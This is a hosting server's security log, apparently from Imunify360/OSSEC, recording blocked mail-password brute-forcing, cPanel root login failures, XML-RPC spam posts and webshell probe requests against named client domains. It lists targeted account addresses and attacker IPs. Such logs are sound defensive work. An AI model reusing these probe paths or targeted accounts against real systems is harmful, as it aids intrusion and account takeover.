2026-01-31 05:00:02 dovecot_login authenticator failed for H=(qd0q9k) [178.16.54.22]:62218: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:00:07 dovecot_login authenticator failed for H=(qGYMxt) [185.230.124.69]:56733: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.158
country_id: 2635167
description:
2026-01-31  5:00:46 15369 [Warning] Aborted connection 15369 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.158' (This connection closed normally without authentication)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:00:52 dovecot_login authenticator failed for H=(uyojjC) [185.230.124.69]:64107: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:00:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:01:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.158
country_id: 2635167
description:
2026-01-31  5:01:08 15387 [Warning] Aborted connection 15387 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.158' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.57.17.171
country_id: 1814991
description:
2026-01-31 05:01:10 dovecot_login authenticator failed for H=([111.57.17.171]) [111.57.17.171]:41426: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:01:08 dovecot_login authenticator failed for H=(C6qkoATRNS) [185.230.124.69]:52537: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:01:18 dovecot_login authenticator failed for H=(LLVZQW8I4N) [178.16.54.22]:63660: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.7.248.50
country_id: 1814991
description:
2026-01-31 05:01:59 dovecot_login authenticator failed for H=([116.7.248.50]) [116.7.248.50]:52449: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 201.15.149.254
country_id: 3469034
description:
2026-01-31 05:01:24 dovecot_login authenticator failed for H=([187.7.85.97]) [201.15.149.254]:37014: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:02:01 dovecot_login authenticator failed for H=(IpO82pgRLq) [185.230.124.69]:57947: 535 Incorrect authentication data (set_id=enquiry)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:02:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.20.228.146
country_id: 1269750
description:
2026-01-31 05:02:37 dovecot_login authenticator failed for H=([125.16.32.137]) [125.20.228.146]:51636: 535 Incorrect authentication data (set_id=amir)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.188.62.49
country_id: 3017382
domain: autodiscover.mkmetal.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:02:50 dovecot_login authenticator failed for H=(gKYGha8) [185.230.124.69]:61084: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:02:19 dovecot_login authenticator failed for H=(WHsGVHw) [178.16.54.22]:55679: 535 Incorrect authentication data (set_id=mustapa)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:03:07 dovecot_login authenticator failed for H=(oMZ7E4) [178.16.54.22]:54573: 535 Incorrect authentication data (set_id=paul.wong)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 69.160.160.51
country_id: 6252001
domain: www.lvconsult.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/78.0.3904.70 Safari/537.36||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:03:09 dovecot_login authenticator failed for H=(RGTUVqj) [185.230.124.69]:54250: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.207.212.116
country_id: 1269750
domain: urban.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:13909.urban.my||ServerName:urban.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fb3147253d22e7950d0d610a66f4c2da261cfc12||Title:0xf83bef23||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.188.62.49
country_id: 3017382
domain: autodiscover.mkmetal.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:proxy:http://127.0.0.1/cgi-sys/autodiscover.cgi||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:03:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.189.232
country_id: 2017370
description:
2026-01-31 05:04:02 dovecot_login authenticator failed for H=(host-232.185.15.189.0.0xffffff00.sterling.stercom.ru) [185.15.189.232]:52130: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.233.5.67
country_id: 6252001
description:
2026-01-31 05:04:12 dovecot_login authenticator failed for H=([50.233.5.67]) [50.233.5.67]:54744: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:04:19 dovecot_login authenticator failed for H=(Y0VXT7q) [178.16.54.22]:58878: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:04:19 dovecot_login authenticator failed for H=(o7diS57H) [185.230.124.69]:58142: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:04:44 dovecot_login authenticator failed for H=(c0wApn) [185.230.124.69]:64456: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.237.4.60
country_id: 6252001
description:
[2026-01-31 05:04:57 +0800] info [whostmgrd] 71.237.4.60 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:04:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.205.188.194
country_id: 1835841
description:
2026-01-31 05:05:24 dovecot_login authenticator failed for H=([119.205.188.194]) [119.205.188.194]:46834: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:05:10 dovecot_login authenticator failed for H=(OXUqwSdpVM) [185.230.124.69]:56790: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.248.162
country_id: 1269750
description:
2026-01-31 05:05:26 dovecot_login authenticator failed for H=(033.162.18.125.dhcp.anaronline.net) [125.19.248.162]:53772: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:05:33 dovecot_login authenticator failed for H=(eFVpExchlQ) [178.16.54.22]:62856: 535 Incorrect authentication data (set_id=paul.wong)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:05:09 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.114
country_id: 1819730
description:
2026-01-31 05:05:37 dovecot_login authenticator failed for H=(223-197-145-114.static.imsbiz.com) [223.197.145.114]:62568: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:06:02 dovecot_login authenticator failed for H=(8Hs4VOLu) [185.230.124.69]:54324: 535 Incorrect authentication data (set_id=enquiry)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/img/team.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:06:38 dovecot_login authenticator failed for H=(F7t7dNA3) [178.16.54.22]:50147: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:06:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:06:36 dovecot_login authenticator failed for H=(QRMEFXKIRp) [185.230.124.69]:57979: 535 Incorrect authentication data (set_id=finance)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.134
country_id: 1269750
description:
2026-01-31 05:06:59 dovecot_login authenticator failed for H=([182.95.215.73]) [182.95.230.134]:51480: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.153.33
country_id: 1733045
description:
2026-01-31 05:06:45 dovecot_login authenticator failed for H=([49.124.153.33]) [49.124.153.33]:34792: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:07:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account enquiry has been locked for the attacker IP 185.230.124.69


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: printspecsolution.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/2024/index.php||SC:/home2/printspecsolutio/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:07:19 dovecot_login authenticator failed for H=(Cskg1l0TyP) [178.16.54.22]:52958: 535 Incorrect authentication data (set_id=paul.wong)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/home/luxury-interior-design-service-malaysia.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 174.17.249.103
country_id: 6252001
description:
[2026-01-31 05:07:16 +0800] info [whostmgrd] 174.17.249.103 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.123.104.142
country_id: 1269750
description:
2026-01-31 05:07:35 dovecot_login authenticator failed for H=([27.123.104.142]) [27.123.104.142]:48698: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:07:02 dovecot_login authenticator failed for H=(MqZ6LEPB) [185.230.124.69]:62951: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.170.150.247
country_id: 1605651
description:
2026-01-31 05:07:09 dovecot_login authenticator failed for H=([203.170.150.247]) [203.170.150.247]:49532: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:08:16 dovecot_login authenticator failed for H=(ZAKCP3nB) [185.230.124.69]:59768: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:08:30 dovecot_login authenticator failed for H=(oeytI4oM4z) [178.16.54.22]:62440: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:08:09 dovecot_login authenticator failed for H=(KYM3hV0) [185.230.124.69]:49905: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.199.247.219
country_id: 6252001
description:
[2026-01-31 05:09:03 +0800] info [whostmgrd] 47.199.247.219 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:09:07 dovecot_login authenticator failed for H=(8ddHz0) [185.230.124.69]:60482: 535 Incorrect authentication data (set_id=ernest@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:09:16 dovecot_login authenticator failed for H=(nTsy9pio) [178.16.54.138]:57108: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/img/photos/images/press.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:09:35 dovecot_login authenticator failed for H=(8iFkXm) [178.16.54.22]:62960: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:09:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest@eminent.st has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:10:22 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:10:24 dovecot_login authenticator failed for H=(LbBtgWySvU) [185.230.124.69]:59549: 535 Incorrect authentication data (set_id=finance)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/home/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:10:09 dovecot_login authenticator failed for H=(Vq7hQrUc6T) [178.16.54.22]:59711: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:10:15 dovecot_login authenticator failed for H=(rNY3kj) [178.16.54.138]:57747: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:10:10 dovecot_login authenticator failed for H=(Ocl6Ntz2Ez) [185.230.124.69]:49987: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:11:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account finance has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:11:14 dovecot_login authenticator failed for H=(zaA4pyzOq) [185.230.124.69]:52768: 535 Incorrect authentication data (set_id=finance)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.204.132.124
country_id: 1269750
domain: usfood.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:87916.usfood.com.my||ServerName:usfood.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0b590e8731eb5de037d401d77c006f3c96571d4e||Title:0x4dcc5b01||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-01-31 05:11:37 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:47766: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 150.249.252.237
country_id: 1861060
description:
2026-01-31 05:11:51 dovecot_login authenticator failed for H=fs96f9fced.tkyc203.ap.nuro.jp [150.249.252.237]:39409: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:11:11 dovecot_login authenticator failed for H=(aB1VYX) [178.16.54.138]:55489: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:11:35 dovecot_login authenticator failed for H=(Jl4jR9Y) [178.16.54.22]:57803: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:12:04 dovecot_login authenticator failed for H=(fd90UEa) [185.230.124.69]:51637: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:12:16 dovecot_login authenticator failed for H=(eMC4tL) [178.16.54.138]:53628: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:12:10 dovecot_login authenticator failed for H=(nB7tVJT) [178.16.54.22]:51640: 535 Incorrect authentication data (set_id=paul.wong@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.46.176.183
country_id: 1861060
domain: ajplantations.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home/ajpl3424/public_html/wp-admin||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:12:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:12:04 dovecot_login authenticator failed for H=(wrUWHFJpX) [185.230.124.69]:55707: 535 Incorrect authentication data (set_id=finance)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/images/commercial-office.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:13:17 dovecot_login authenticator failed for H=(JEyRFjMS) [178.16.54.138]:54299: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:13:07 dovecot_login authenticator failed for H=(wImhB4) [185.230.124.69]:60957: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:13:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:13:20 dovecot_login authenticator failed for H=(rUAmmB) [178.16.54.22]:59045: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:13:56 dovecot_login authenticator failed for H=(ipjTnBPO) [185.230.124.69]:58394: 535 Incorrect authentication data (set_id=ernest)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:14:42 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:14:15 dovecot_login authenticator failed for H=(7cpDXvP) [178.16.54.138]:57072: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:14:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:14:04 dovecot_login authenticator failed for H=(l9bqZDtf) [185.230.124.69]:57790: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:14:21 dovecot_login authenticator failed for H=(QKfbndx) [178.16.54.22]:52716: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/img/photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:15:06 dovecot_login authenticator failed for H=(JAXrMeQiiR) [185.230.124.69]:63225: 535 Incorrect authentication data (set_id=finance)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:15:16 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account hanafi.vpb@vc-b.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 05:15:18 dovecot_login authenticator failed for H=(QTyW4cJc) [178.16.54.22]:56122: 535 Incorrect authentication data (set_id=mustapa@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 05:15:12 dovecot_login authenticator failed for H=(OjV6aKj398) [178.16.54.138]:50924: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:15:50 dovecot_login authenticator failed for H=(YicSR5IqX) [185.230.124.69]:63505: 535 Incorrect authentication data (set_id=finance)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:15:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 146.70.65.145
country_id: 2328926
description:
2026-01-31 05:15:14 dovecot_login authenticator failed for H=(ADMIN) [146.70.65.145]:5108: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 05:16:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account limls@essemgroup.net has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 31 05:16:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ernest has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-31 05:16:07 dovecot_login authenticator failed for H=(v3fN2w) [185.230.124.69]:62779: 535 Incorrect authentication data (set_id=hanafi.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
